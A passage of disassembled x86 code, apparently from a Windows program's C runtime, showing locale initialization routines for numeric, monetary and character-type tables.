ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov eax, [ebp+var_C] loc_42AF3B: ; CODE XREF: sub_42A9B0+2Dj mov esp, ebp pop ebp retn sub_42A9B0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42AF40 proc near ; CODE XREF: sub_42A8D0+50p ; sub_42A8D0+7Cp ... arg_0 = dword ptr 8 push ebp mov ebp, esp cmp [ebp+arg_0], 0 jnz short loc_42AF4E jmp loc_42B249 ; --------------------------------------------------------------------------- loc_42AF4E: ; CODE XREF: sub_42AF40+7j push 2 mov eax, [ebp+arg_0] mov ecx, [eax+4] push ecx call sub_415860 add esp, 8 push 2 mov edx, [ebp+arg_0] mov eax, [edx+8] push eax call sub_415860 add esp, 8 push 2 mov ecx, [ebp+arg_0] mov edx, [ecx+0Ch] push edx call sub_415860 add esp, 8 push 2 mov eax, [ebp+arg_0] mov ecx, [eax+10h] push ecx call sub_415860 add esp, 8 push 2 mov edx, [ebp+arg_0] mov eax, [edx+14h] push eax call sub_415860 add esp, 8 push 2 mov ecx, [ebp+arg_0] mov edx, [ecx+18h] push edx call sub_415860 add esp, 8 push 2 mov eax, [ebp+arg_0] mov ecx, [eax] push ecx call sub_415860 add esp, 8 push 2 mov edx, [ebp+arg_0] mov eax, [edx+20h] push eax call sub_415860 add esp, 8 push 2 mov ecx, [ebp+arg_0] mov edx, [ecx+24h] push edx call sub_415860 add esp, 8 push 2 mov eax, [ebp+arg_0] mov ecx, [eax+28h] push ecx call sub_415860 add esp, 8 push 2 mov edx, [ebp+arg_0] mov eax, [edx+2Ch] push eax call sub_415860 add esp, 8 push 2 mov ecx, [ebp+arg_0] mov edx, [ecx+30h] push edx call sub_415860 add esp, 8 push 2 mov eax, [ebp+arg_0] mov ecx, [eax+34h] push ecx call sub_415860 add esp, 8 push 2 mov edx, [ebp+arg_0] mov eax, [edx+1Ch] push eax call sub_415860 add esp, 8 push 2 mov ecx, [ebp+arg_0] mov edx, [ecx+38h] push edx call sub_415860 add esp, 8 push 2 mov eax, [ebp+arg_0] mov ecx, [eax+3Ch] push ecx call sub_415860 add esp, 8 push 2 mov edx, [ebp+arg_0] mov eax, [edx+40h] push eax call sub_415860 add esp, 8 push 2 mov ecx, [ebp+arg_0] mov edx, [ecx+44h] push edx call sub_415860 add esp, 8 push 2 mov eax, [ebp+arg_0] mov ecx, [eax+48h] push ecx call sub_415860 add esp, 8 push 2 mov edx, [ebp+arg_0] mov eax, [edx+4Ch] push eax call sub_415860 add esp, 8 push 2 mov ecx, [ebp+arg_0] mov edx, [ecx+50h] push edx call sub_415860 add esp, 8 push 2 mov eax, [ebp+arg_0] mov ecx, [eax+54h] push ecx call sub_415860 add esp, 8 push 2 mov edx, [ebp+arg_0] mov eax, [edx+58h] push eax call sub_415860 add esp, 8 push 2 mov ecx, [ebp+arg_0] mov edx, [ecx+5Ch] push edx call sub_415860 add esp, 8 push 2 mov eax, [ebp+arg_0] mov ecx, [eax+60h] push ecx call sub_415860 add esp, 8 push 2 mov edx, [ebp+arg_0] mov eax, [edx+64h] push eax call sub_415860 add esp, 8 push 2 mov ecx, [ebp+arg_0] mov edx, [ecx+68h] push edx call sub_415860 add esp, 8 push 2 mov eax, [ebp+arg_0] mov ecx, [eax+6Ch] push ecx call sub_415860 add esp, 8 push 2 mov edx, [ebp+arg_0] mov eax, [edx+70h] push eax call sub_415860 add esp, 8 push 2 mov ecx, [ebp+arg_0] mov edx, [ecx+74h] push edx call sub_415860 add esp, 8 push 2 mov eax, [ebp+arg_0] mov ecx, [eax+78h] push ecx call sub_415860 add esp, 8 push 2 mov edx, [ebp+arg_0] mov eax, [edx+7Ch] push eax call sub_415860 add esp, 8 push 2 mov ecx, [ebp+arg_0] mov edx, [ecx+80h] push edx call sub_415860 add esp, 8 push 2 mov eax, [ebp+arg_0] mov ecx, [eax+84h] push ecx call sub_415860 add esp, 8 push 2 mov edx, [ebp+arg_0] mov eax, [edx+88h] push eax call sub_415860 add esp, 8 push 2 mov ecx, [ebp+arg_0] mov edx, [ecx+8Ch] push edx call sub_415860 add esp, 8 push 2 mov eax, [ebp+arg_0] mov ecx, [eax+90h] push ecx call sub_415860 add esp, 8 push 2 mov edx, [ebp+arg_0] mov eax, [edx+94h] push eax call sub_415860 add esp, 8 push 2 mov ecx, [ebp+arg_0] mov edx, [ecx+98h] push edx call sub_415860 add esp, 8 push 2 mov eax, [ebp+arg_0] mov ecx, [eax+9Ch] push ecx call sub_415860 add esp, 8 push 2 mov edx, [ebp+arg_0] mov eax, [edx+0A0h] push eax call sub_415860 add esp, 8 push 2 mov ecx, [ebp+arg_0] mov edx, [ecx+0A4h] push edx call sub_415860 add esp, 8 push 2 mov eax, [ebp+arg_0] mov ecx, [eax+0A8h] push ecx call sub_415860 add esp, 8 loc_42B249: ; CODE XREF: sub_42AF40+9j pop ebp retn sub_42AF40 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42B250 proc near ; DATA XREF: ___:004443B8o var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 8 mov [ebp+var_8], 0 xor eax, eax mov ax, word_4DB3FE mov [ebp+var_4], eax cmp dword_4DB1C0, 0 jz loc_42B3CA push offset dword_4DB3CC push 0Eh mov ecx, [ebp+var_4] push ecx push 1 call sub_42F960 add esp, 10h mov edx, [ebp+var_8] or edx, eax mov [ebp+var_8], edx push offset dword_4DB3D0 push 0Fh mov eax, [ebp+var_4] push eax push 1 call sub_42F960 add esp, 10h mov ecx, [ebp+var_8] or ecx, eax mov [ebp+var_8], ecx push offset dword_4DB3D4 push 10h mov edx, [ebp+var_4] push edx push 1 call sub_42F960 add esp, 10h mov ecx, [ebp+var_8] or ecx, eax mov [ebp+var_8], ecx mov edx, dword_4DB3D4 push edx call sub_42B500 add esp, 4 cmp [ebp+var_8], 0 jz short loc_42B339 push 2 mov eax, dword_4DB3CC push eax call sub_415860 add esp, 8 push 2 mov ecx, dword_4DB3D0 push ecx call sub_415860 add esp, 8 push 2 mov edx, dword_4DB3D4 push edx call sub_415860 add esp, 8 mov dword_4DB3CC, 0 mov dword_4DB3D0, 0 mov dword_4DB3D4, 0 or eax, 0FFFFFFFFh jmp loc_42B4F2 ; --------------------------------------------------------------------------- loc_42B339: ; CODE XREF: sub_42B250+8Fj mov eax, off_444E98 cmp dword ptr [eax], offset dword_444E60 jz short loc_42B380 push 2 mov ecx, off_444E98 mov edx, [ecx] push edx call sub_415860 add esp, 8 push 2 mov eax, off_444E98 mov ecx, [eax+4] push ecx call sub_415860 add esp, 8 push 2 mov edx, off_444E98 mov eax, [edx+8] push eax call sub_415860 add esp, 8 loc_42B380: ; CODE XREF: sub_42B250+F4j mov ecx, off_444E98 mov edx, dword_4DB3CC mov [ecx], edx mov eax, off_444E98 mov ecx, dword_4DB3D0 mov [eax+4], ecx mov edx, off_444E98 mov eax, dword_4DB3D4 mov [edx+8], eax mov ecx, off_444E98 mov edx, [ecx] mov al, [edx] mov byte_443B74, al mov dword_443B78, 1 xor eax, eax jmp loc_42B4F2 ; --------------------------------------------------------------------------- loc_42B3CA: ; CODE XREF: sub_42B250+1Fj push 2 mov ecx, dword_4DB3CC push ecx call sub_415860 add esp, 8 push 2 mov edx, dword_4DB3D0 push edx call sub_415860 add esp, 8 push 2 mov eax, dword_4DB3D4 push eax call sub_415860 add esp, 8 mov dword_4DB3CC, 0 mov dword_4DB3D0, 0 mov dword_4DB3D4, 0 push 88h push offset aInitnum_c ; "initnum.c" push 2 push 2 call sub_414DD0 add esp, 10h mov ecx, off_444E98 mov [ecx], eax mov edx, off_444E98 cmp dword ptr [edx], 0 jnz short loc_42B44B or eax, 0FFFFFFFFh jmp loc_42B4F2 ; --------------------------------------------------------------------------- loc_42B44B: ; CODE XREF: sub_42B250+1F1j push offset a__1 ; "." mov eax, off_444E98 mov ecx, [eax] push ecx call sub_4184C0 add esp, 8 push 8Dh push offset aInitnum_c ; "initnum.c" push 2 push 2 call sub_414DD0 add esp, 10h mov edx, off_444E98 mov [edx+4], eax mov eax, off_444E98 cmp dword ptr [eax+4], 0 jnz short loc_42B48F or eax, 0FFFFFFFFh jmp short loc_42B4F2 ; --------------------------------------------------------------------------- loc_42B48F: ; CODE XREF: sub_42B250+238j mov ecx, off_444E98 mov edx, [ecx+4] mov byte ptr [edx], 0 push 92h push offset aInitnum_c ; "initnum.c" push 2 push 2 call sub_414DD0 add esp, 10h mov ecx, off_444E98 mov [ecx+8], eax mov edx, off_444E98 cmp dword ptr [edx+8], 0 jnz short loc_42B4CB or eax, 0FFFFFFFFh jmp short loc_42B4F2 ; --------------------------------------------------------------------------- loc_42B4CB: ; CODE XREF: sub_42B250+274j mov eax, off_444E98 mov ecx, [eax+8] mov byte ptr [ecx], 0 mov edx, off_444E98 mov eax, [edx] mov cl, [eax] mov byte_443B74, cl mov dword_443B78, 1 xor eax, eax loc_42B4F2: ; CODE XREF: sub_42B250+E4j ; sub_42B250+175j ... mov esp, ebp pop ebp retn sub_42B250 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42B500 proc near ; CODE XREF: sub_42B250+83p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx loc_42B504: ; CODE XREF: sub_42B500:loc_42B577j mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] test ecx, ecx jz short loc_42B579 mov edx, [ebp+arg_0] movsx eax, byte ptr [edx] cmp eax, 30h jl short loc_42B53D mov ecx, [ebp+arg_0] movsx edx, byte ptr [ecx] cmp edx, 39h jg short loc_42B53D mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] sub ecx, 30h mov edx, [ebp+arg_0] mov [edx], cl mov eax, [ebp+arg_0] add eax, 1 mov [ebp+arg_0], eax jmp short loc_42B577 ; --------------------------------------------------------------------------- loc_42B53D: ; CODE XREF: sub_42B500+17j ; sub_42B500+22j mov ecx, [ebp+arg_0] movsx edx, byte ptr [ecx] cmp edx, 3Bh jnz short loc_42B56E mov eax, [ebp+arg_0] mov [ebp+var_4], eax loc_42B54E: ; CODE XREF: sub_42B500+6Aj mov ecx, [ebp+var_4] mov edx, [ebp+var_4] mov al, [edx+1] mov [ecx], al mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx mov edx, [ebp+var_4] movsx eax, byte ptr [edx] test eax, eax jnz short loc_42B54E jmp short loc_42B577 ; --------------------------------------------------------------------------- loc_42B56E: ; CODE XREF: sub_42B500+46j mov ecx, [ebp+arg_0] add ecx, 1 mov [ebp+arg_0], ecx loc_42B577: ; CODE XREF: sub_42B500+3Bj ; sub_42B500+6Cj jmp short loc_42B504 ; --------------------------------------------------------------------------- loc_42B579: ; CODE XREF: sub_42B500+Cj mov esp, ebp pop ebp retn sub_42B500 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42B580 proc near ; DATA XREF: ___:004443ACo var_4 = dword ptr -4 push ebp mov ebp, esp push ecx cmp dword_4DB1BC, 0 jz loc_42B64C push 4Ah push offset aInitmon_c ; "initmon.c" push 2 push 30h push 1 call sub_4151E0 add esp, 14h mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_42B5B9 mov eax, 1 jmp loc_42B6AC ; --------------------------------------------------------------------------- loc_42B5B9: ; CODE XREF: sub_42B580+2Dj mov eax, [ebp+var_4] push eax call sub_42B6B0 add esp, 4 test eax, eax jz short loc_42B5ED mov ecx, [ebp+var_4] push ecx call sub_42B940 add esp, 4 push 2 mov edx, [ebp+var_4] push edx call sub_415860 add esp, 8 mov eax, 1 jmp loc_42B6AC ; --------------------------------------------------------------------------- loc_42B5ED: ; CODE XREF: sub_42B580+47j mov eax, [ebp+var_4] mov ecx, off_444E98 mov edx, [ecx] mov [eax], edx mov eax, [ebp+var_4] mov ecx, off_444E98 mov edx, [ecx+4] mov [eax+4], edx mov eax, [ebp+var_4] mov ecx, off_444E98 mov edx, [ecx+8] mov [eax+8], edx mov eax, [ebp+var_4] mov off_444E98, eax mov ecx, dword_4DB3D8 push ecx call sub_42B940 add esp, 4 push 2 mov edx, dword_4DB3D8 push edx call sub_415860 add esp, 8 mov eax, [ebp+var_4] mov dword_4DB3D8, eax xor eax, eax jmp short loc_42B6AC ; --------------------------------------------------------------------------- loc_42B64C: ; CODE XREF: sub_42B580+Bj mov ecx, off_444E98 mov edx, [ecx] mov off_444E68, edx mov eax, off_444E98 mov ecx, [eax+4] mov off_444E6C, ecx mov edx, off_444E98 mov eax, [edx+8] mov off_444E70, eax mov off_444E98, offset off_444E68 mov ecx, dword_4DB3D8 push ecx call sub_42B940 add esp, 4 push 2 mov edx, dword_4DB3D8 push edx call sub_415860 add esp, 8 mov dword_4DB3D8, 0 xor eax, eax loc_42B6AC: ; CODE XREF: sub_42B580+34j ; sub_42B580+68j ... mov esp, ebp pop ebp retn sub_42B580 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42B6B0 proc near ; CODE XREF: sub_42B580+3Dp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 mov [ebp+var_8], 0 xor eax, eax mov ax, word_4DB3F8 mov [ebp+var_4], eax cmp [ebp+arg_0], 0 jnz short loc_42B6D6 or eax, 0FFFFFFFFh jmp loc_42B8B9 ; --------------------------------------------------------------------------- loc_42B6D6: ; CODE XREF: sub_42B6B0+1Cj mov ecx, [ebp+arg_0] add ecx, 0Ch push ecx push 15h mov edx, [ebp+var_4] push edx push 1 call sub_42F960 add esp, 10h mov ecx, [ebp+var_8] or ecx, eax mov [ebp+var_8], ecx mov edx, [ebp+arg_0] add edx, 10h push edx push 14h mov eax, [ebp+var_4] push eax push 1 call sub_42F960 add esp, 10h mov ecx, [ebp+var_8] or ecx, eax mov [ebp+var_8], ecx mov edx, [ebp+arg_0] add edx, 14h push edx push 16h mov eax, [ebp+var_4] push eax push 1 call sub_42F960 add esp, 10h mov ecx, [ebp+var_8] or ecx, eax mov [ebp+var_8], ecx mov edx, [ebp+arg_0] add edx, 18h push edx push 17h mov eax, [ebp+var_4] push eax push 1 call sub_42F960 add esp, 10h mov ecx, [ebp+var_8] or ecx, eax mov [ebp+var_8], ecx mov edx, [ebp+arg_0] add edx, 1Ch push edx push 18h mov eax, [ebp+var_4] push eax push 1 call sub_42F960 add esp, 10h mov ecx, [ebp+var_8] or ecx, eax mov [ebp+var_8], ecx mov edx, [ebp+arg_0] mov eax, [edx+1Ch] push eax call sub_42B8C0 add esp, 4 mov ecx, [ebp+arg_0] add ecx, 20h push ecx push 50h mov edx, [ebp+var_4] push edx push 1 call sub_42F960 add esp, 10h mov ecx, [ebp+var_8] or ecx, eax mov [ebp+var_8], ecx mov edx, [ebp+arg_0] add edx, 24h push edx push 51h mov eax, [ebp+var_4] push eax push 1 call sub_42F960 add esp, 10h mov ecx, [ebp+var_8] or ecx, eax mov [ebp+var_8], ecx mov edx, [ebp+arg_0] add edx, 28h push edx push 1Ah mov eax, [ebp+var_4] push eax push 0 call sub_42F960 add esp, 10h mov ecx, [ebp+var_8] or ecx, eax mov [ebp+var_8], ecx mov edx, [ebp+arg_0] add edx, 29h push edx push 19h mov eax, [ebp+var_4] push eax push 0 call sub_42F960 add esp, 10h mov ecx, [ebp+var_8] or ecx, eax mov [ebp+var_8], ecx mov edx, [ebp+arg_0] add edx, 2Ah push edx push 54h mov eax, [ebp+var_4] push eax push 0 call sub_42F960 add esp, 10h mov ecx, [ebp+var_8] or ecx, eax mov [ebp+var_8], ecx mov edx, [ebp+arg_0] add edx, 2Bh push edx push 55h mov eax, [ebp+var_4] push eax push 0 call sub_42F960 add esp, 10h mov ecx, [ebp+var_8] or ecx, eax mov [ebp+var_8], ecx mov edx, [ebp+arg_0] add edx, 2Ch push edx push 56h mov eax, [ebp+var_4] push eax push 0 call sub_42F960 add esp, 10h mov ecx, [ebp+var_8] or ecx, eax mov [ebp+var_8], ecx mov edx, [ebp+arg_0] add edx, 2Dh push edx push 57h mov eax, [ebp+var_4] push eax push 0 call sub_42F960 add esp, 10h mov ecx, [ebp+var_8] or ecx, eax mov [ebp+var_8], ecx mov edx, [ebp+arg_0] add edx, 2Eh push edx push 52h mov eax, [ebp+var_4] push eax push 0 call sub_42F960 add esp, 10h mov ecx, [ebp+var_8] or ecx, eax mov [ebp+var_8], ecx mov edx, [ebp+arg_0] add edx, 2Fh push edx push 53h mov eax, [ebp+var_4] push eax push 0 call sub_42F960 add esp, 10h mov ecx, [ebp+var_8] or ecx, eax mov [ebp+var_8], ecx mov eax, [ebp+var_8] loc_42B8B9: ; CODE XREF: sub_42B6B0+21j mov esp, ebp pop ebp retn sub_42B6B0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42B8C0 proc near ; CODE XREF: sub_42B6B0+C8p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx loc_42B8C4: ; CODE XREF: sub_42B8C0:loc_42B937j mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] test ecx, ecx jz short loc_42B939 mov edx, [ebp+arg_0] movsx eax, byte ptr [edx] cmp eax, 30h jl short loc_42B8FD mov ecx, [ebp+arg_0] movsx edx, byte ptr [ecx] cmp edx, 39h jg short loc_42B8FD mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] sub ecx, 30h mov edx, [ebp+arg_0] mov [edx], cl mov eax, [ebp+arg_0] add eax, 1 mov [ebp+arg_0], eax jmp short loc_42B937 ; --------------------------------------------------------------------------- loc_42B8FD: ; CODE XREF: sub_42B8C0+17j ; sub_42B8C0+22j mov ecx, [ebp+arg_0] movsx edx, byte ptr [ecx] cmp edx, 3Bh jnz short loc_42B92E mov eax, [ebp+arg_0] mov [ebp+var_4], eax loc_42B90E: ; CODE XREF: sub_42B8C0+6Aj mov ecx, [ebp+var_4] mov edx, [ebp+var_4] mov al, [edx+1] mov [ecx], al mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx mov edx, [ebp+var_4] movsx eax, byte ptr [edx] test eax, eax jnz short loc_42B90E jmp short loc_42B937 ; --------------------------------------------------------------------------- loc_42B92E: ; CODE XREF: sub_42B8C0+46j mov ecx, [ebp+arg_0] add ecx, 1 mov [ebp+arg_0], ecx loc_42B937: ; CODE XREF: sub_42B8C0+3Bj ; sub_42B8C0+6Cj jmp short loc_42B8C4 ; --------------------------------------------------------------------------- loc_42B939: ; CODE XREF: sub_42B8C0+Cj mov esp, ebp pop ebp retn sub_42B8C0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42B940 proc near ; CODE XREF: sub_42B580+4Dp ; sub_42B580+A7p ... arg_0 = dword ptr 8 push ebp mov ebp, esp cmp [ebp+arg_0], 0 jnz short loc_42B94E jmp loc_42B9D1 ; --------------------------------------------------------------------------- loc_42B94E: ; CODE XREF: sub_42B940+7j mov eax, [ebp+arg_0] cmp dword ptr [eax+0Ch], offset dword_4DB438 jz short loc_42B9D1 push 2 mov ecx, [ebp+arg_0] mov edx, [ecx+0Ch] push edx call sub_415860 add esp, 8 push 2 mov eax, [ebp+arg_0] mov ecx, [eax+10h] push ecx call sub_415860 add esp, 8 push 2 mov edx, [ebp+arg_0] mov eax, [edx+14h] push eax call sub_415860 add esp, 8 push 2 mov ecx, [ebp+arg_0] mov edx, [ecx+18h] push edx call sub_415860 add esp, 8 push 2 mov eax, [ebp+arg_0] mov ecx, [eax+1Ch] push ecx call sub_415860 add esp, 8 push 2 mov edx, [ebp+arg_0] mov eax, [edx+20h] push eax call sub_415860 add esp, 8 push 2 mov ecx, [ebp+arg_0] mov edx, [ecx+24h] push edx call sub_415860 add esp, 8 loc_42B9D1: ; CODE XREF: sub_42B940+9j ; sub_42B940+18j pop ebp retn sub_42B940 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42B9E0 proc near ; DATA XREF: ___:004443A0o var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_E = byte ptr -0Eh push ebp mov ebp, esp sub esp, 30h mov [ebp+var_2C], 0 mov [ebp+var_28], 0 cmp dword_4DB1B8, 0 jz loc_42BD31 cmp dword_4DB1C8, 0 jnz short loc_42BA30 push offset dword_4DB1C8 push 1004h xor eax, eax mov ax, word_4DB3F0 push eax push 0 call sub_42F960 add esp, 10h test eax, eax jz short loc_42BA30 jmp loc_42BCF2 ; --------------------------------------------------------------------------- loc_42BA30: ; CODE XREF: sub_42B9E0+28j ; sub_42B9E0+49j push 5Ch push offset aInitctyp_c ; "initctyp.c" push 2 push 202h call sub_414DD0 add esp, 10h mov [ebp+var_30], eax push 5Eh push offset aInitctyp_c ; "initctyp.c" push 2 push 202h call sub_414DD0 add esp, 10h mov [ebp+var_1C], eax push 60h push offset aInitctyp_c ; "initctyp.c" push 2 push 101h call sub_414DD0 add esp, 10h mov [ebp+var_2C], eax push 62h push offset aInitctyp_c ; "initctyp.c" push 2 push 202h call sub_414DD0 add esp, 10h mov [ebp+var_28], eax cmp [ebp+var_30], 0 jz short loc_42BAAC cmp [ebp+var_1C], 0 jz short loc_42BAAC cmp [ebp+var_2C], 0 jz short loc_42BAAC cmp [ebp+var_28], 0 jnz short loc_42BAB1 loc_42BAAC: ; CODE XREF: sub_42B9E0+B8j ; sub_42B9E0+BEj ... jmp loc_42BCF2 ; --------------------------------------------------------------------------- loc_42BAB1: ; CODE XREF: sub_42B9E0+CAj mov ecx, [ebp+var_2C] mov [ebp+var_18], ecx mov [ebp+var_20], 0 jmp short loc_42BAC9 ; --------------------------------------------------------------------------- loc_42BAC0: ; CODE XREF: sub_42B9E0+103j mov edx, [ebp+var_20] add edx, 1 mov [ebp+var_20], edx loc_42BAC9: ; CODE XREF: sub_42B9E0+DEj cmp [ebp+var_20], 100h jge short loc_42BAE5 mov eax, [ebp+var_18] mov cl, byte ptr [ebp+var_20] mov [eax], cl mov edx, [ebp+var_18] add edx, 1 mov [ebp+var_18], edx jmp short loc_42BAC0 ; --------------------------------------------------------------------------- loc_42BAE5: ; CODE XREF: sub_42B9E0+F0j lea eax, [ebp+var_14] push eax mov ecx, dword_4DB1C8 push ecx nop call near ptr 28B0000h test eax, eax jnz short loc_42BAFF jmp loc_42BCF2 ; --------------------------------------------------------------------------- loc_42BAFF: ; CODE XREF: sub_42B9E0+118j cmp [ebp+var_14], 2 jbe short loc_42BB0A jmp loc_42BCF2 ; --------------------------------------------------------------------------- loc_42BB0A: ; CODE XREF: sub_42B9E0+123j mov edx, [ebp+var_14] and edx, 0FFFFh mov dword_443B70, edx cmp dword_443B70, 1 jle short loc_42BB79 lea eax, [ebp+var_E] mov [ebp+var_18], eax jmp short loc_42BB33 ; --------------------------------------------------------------------------- loc_42BB2A: ; CODE XREF: sub_42B9E0:loc_42BB77j mov ecx, [ebp+var_18] add ecx, 2 mov [ebp+var_18], ecx loc_42BB33: ; CODE XREF: sub_42B9E0+148j mov edx, [ebp+var_18] xor eax, eax mov al, [edx] test eax, eax jz short loc_42BB79 mov ecx, [ebp+var_18] xor edx, edx mov dl, [ecx+1] test edx, edx jz short loc_42BB79 mov eax, [ebp+var_18] xor ecx, ecx mov cl, [eax] mov [ebp+var_20], ecx jmp short loc_42BB5F ; --------------------------------------------------------------------------- loc_42BB56: ; CODE XREF: sub_42B9E0+195j mov edx, [ebp+var_20] add edx, 1 mov [ebp+var_20], edx loc_42BB5F: ; CODE XREF: sub_42B9E0+174j mov eax, [ebp+var_18] xor ecx, ecx mov cl, [eax+1] cmp [ebp+var_20], ecx jg short loc_42BB77 mov edx, [ebp+var_2C] add edx, [ebp+var_20] mov byte ptr [edx], 0 jmp short loc_42BB56 ; --------------------------------------------------------------------------- loc_42BB77: ; CODE XREF: sub_42B9E0+18Aj jmp short loc_42BB2A ; --------------------------------------------------------------------------- loc_42BB79: ; CODE XREF: sub_42B9E0+140j ; sub_42B9E0+15Cj ... push 0 push 0 push 0 mov eax, [ebp+var_30] add eax, 2 push eax push 100h mov ecx, [ebp+var_2C] push ecx push 1 call sub_427D80 add esp, 1Ch test eax, eax jnz short loc_42BBA2 jmp loc_42BCF2 ; --------------------------------------------------------------------------- loc_42BBA2: ; CODE XREF: sub_42B9E0+1BBj mov edx, [ebp+var_30] mov word ptr [edx], 0 mov eax, [ebp+var_28] mov [ebp+var_24], eax mov [ebp+var_20], 0 jmp short loc_42BBC2 ; --------------------------------------------------------------------------- loc_42BBB9: ; CODE XREF: sub_42B9E0+1FEj mov ecx, [ebp+var_20] add ecx, 1 mov [ebp+var_20], ecx loc_42BBC2: ; CODE XREF: sub_42B9E0+1D7j cmp [ebp+var_20], 100h jge short loc_42BBE0 mov edx, [ebp+var_24] mov ax, word ptr [ebp+var_20] mov [edx], ax mov ecx, [ebp+var_24] add ecx, 2 mov [ebp+var_24], ecx jmp short loc_42BBB9 ; --------------------------------------------------------------------------- loc_42BBE0: ; CODE XREF: sub_42B9E0+1E9j push 0 push 0 mov edx, [ebp+var_1C] add edx, 2 push edx push 100h mov eax, [ebp+var_28] push eax push 1 call sub_42FC00 add esp, 18h test eax, eax jnz short loc_42BC07 jmp loc_42BCF2 ; --------------------------------------------------------------------------- loc_42BC07: ; CODE XREF: sub_42B9E0+220j mov ecx, [ebp+var_1C] mov word ptr [ecx], 0 cmp dword_443B70, 1 jle short loc_42BC73 lea edx, [ebp+var_E] mov [ebp+var_18], edx jmp short loc_42BC29 ; --------------------------------------------------------------------------- loc_42BC20: ; CODE XREF: sub_42B9E0:loc_42BC71j mov eax, [ebp+var_18] add eax, 2 mov [ebp+var_18], eax loc_42BC29: ; CODE XREF: sub_42B9E0+23Ej mov ecx, [ebp+var_18] xor edx, edx mov dl, [ecx] test edx, edx jz short loc_42BC73 mov eax, [ebp+var_18] xor ecx, ecx mov cl, [eax+1] test ecx, ecx jz short loc_42BC73 mov edx, [ebp+var_18] xor eax, eax mov al, [edx] mov [ebp+var_20], eax jmp short loc_42BC55 ; --------------------------------------------------------------------------- loc_42BC4C: ; CODE XREF: sub_42B9E0+28Fj mov ecx, [ebp+var_20] add ecx, 1 mov [ebp+var_20], ecx loc_42BC55: ; CODE XREF: sub_42B9E0+26Aj mov edx, [ebp+var_18] xor eax, eax mov al, [edx+1] cmp [ebp+var_20], eax jg short loc_42BC71 mov ecx, [ebp+var_20] mov edx, [ebp+var_30] mov word ptr [edx+ecx*2+2], 8000h jmp short loc_42BC4C ; --------------------------------------------------------------------------- loc_42BC71: ; CODE XREF: sub_42B9E0+280j jmp short loc_42BC20 ; --------------------------------------------------------------------------- loc_42BC73: ; CODE XREF: sub_42B9E0+236j ; sub_42B9E0+252j ... mov eax, [ebp+var_30] add eax, 2 mov off_443C7C, eax mov ecx, [ebp+var_1C] add ecx, 2 mov off_443C80, ecx cmp dword_4DB3DC, 0 jz short loc_42BCA4 push 2 mov edx, dword_4DB3DC push edx call sub_415860 add esp, 8 loc_42BCA4: ; CODE XREF: sub_42B9E0+2B1j mov eax, [ebp+var_30] mov dword_4DB3DC, eax cmp dword_4DB3E0, 0 jz short loc_42BCC6 push 2 mov ecx, dword_4DB3E0 push ecx call sub_415860 add esp, 8 loc_42BCC6: ; CODE XREF: sub_42B9E0+2D3j mov edx, [ebp+var_1C] mov dword_4DB3E0, edx push 2 mov eax, [ebp+var_2C] push eax call sub_415860 add esp, 8 push 2 mov ecx, [ebp+var_28] push ecx call sub_415860 add esp, 8 xor eax, eax jmp loc_42BD7C ; --------------------------------------------------------------------------- loc_42BCF2: ; CODE XREF: sub_42B9E0+4Bj ; sub_42B9E0:loc_42BAACj ... push 2 mov edx, [ebp+var_30] push edx call sub_415860 add esp, 8 push 2 mov eax, [ebp+var_1C] push eax call sub_415860 add esp, 8 push 2 mov ecx, [ebp+var_2C] push ecx call sub_415860 add esp, 8 push 2 mov edx, [ebp+var_28] push edx call sub_415860 add esp, 8 mov eax, 1 jmp short loc_42BD7C ; --------------------------------------------------------------------------- loc_42BD31: ; CODE XREF: sub_42B9E0+1Bj mov off_443C7C, offset word_443C86 mov off_443C80, offset word_443C86 push 2 mov eax, dword_4DB3DC push eax call sub_415860 add esp, 8 push 2 mov ecx, dword_4DB3E0 push ecx call sub_415860 add esp, 8 mov dword_4DB3DC, 0 mov dword_4DB3E0, 0 xor eax, eax loc_42BD7C: ; CODE XREF: sub_42B9E0+30Dj ; sub_42B9E0+34Fj mov esp, ebp pop ebp retn sub_42B9E0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42BD80 proc near ; DATA XREF: ___:00444394o push ebp mov ebp, esp xor eax, eax pop ebp retn sub_42BD80 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42BD90 proc near ; CODE XREF: ___:00424B9Ep ; sub_425250+7Bp var_24 = dword ptr -24h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi xor eax, eax push eax push eax push eax push eax push eax push eax push eax push eax mov edx, [ebp+arg_4] lea ecx, [ecx+0] loc_42BDA4: ; CODE XREF: sub_42BD90+1Fj mov al, [edx] or al, al jz short loc_42BDB1 inc edx bts [esp+24h+var_24], eax jmp short loc_42BDA4 ; --------------------------------------------------------------------------- 